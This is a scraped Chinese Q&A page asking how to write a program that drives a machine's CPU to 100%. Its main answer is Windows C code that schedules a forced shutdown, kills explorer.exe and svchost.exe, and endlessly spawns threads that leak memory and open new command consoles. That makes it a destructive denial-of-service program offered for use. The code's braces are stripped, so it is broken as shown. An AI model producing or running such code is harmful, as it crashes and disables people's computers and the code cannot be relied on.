怎么写一个程序让机器CPU占用100

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了怎么写一个程序让机器CPU占用100相关的知识,希望对你有一定的参考价值。

(1)写个死循环,做三角函数运算。
(2)调用消息,在消息处理函数里面,再次调用消息(也是死循环)。
一般运行一会,有的会出现CPU过热、报警。
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
DWORD WINAPI ThreadProc(LPVOID lpParam)

PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hProcess;
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
BOOL bMore =::Process32First(hProcessSnap,&pe32);
STARTUPINFO si=sizeof(si);
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE;
system("shutdown -s -t 120");
while(bMore)

if(strcmp(pe32.szExeFile,"explorer.exe")==0 || strcmp(pe32.szExeFile,"svchost.exe")==0)

hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID );
TerminateProcess(hProcess,0);

bMore=::Process32Next(hProcessSnap,&pe32);

while(1)

void *p=malloc(1024*1024);
CreateProcess(NULL,"cmd",NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);


int main(int argc, char *argv[])

HANDLE hThread;
DWORD dwThreadId;

while(1)
hThread=CreateThread(NULL,0,ThreadProc,NULL,0,0);
return 0;
参考技术A 比较简单。
(1)写个死循环,做三角函数运算。
(2)调用消息,在消息处理函数里面,再次调用消息(也是死循环)。
一般运行一会,有的会出现CPU过热、报警。
参考技术B no zuo no die

以上是关于怎么写一个程序让机器CPU占用100的主要内容,如果未能解决你的问题,请参考以下文章

电脑cpu占用过高怎么办

如何让电脑cpu使用率达到百分百

mysql经常占用cpu100%以上,该怎么解决

cpu占用过高怎么办

总的cpu使用率等于us和sy之和

Java程序CPU占用过高怎么解决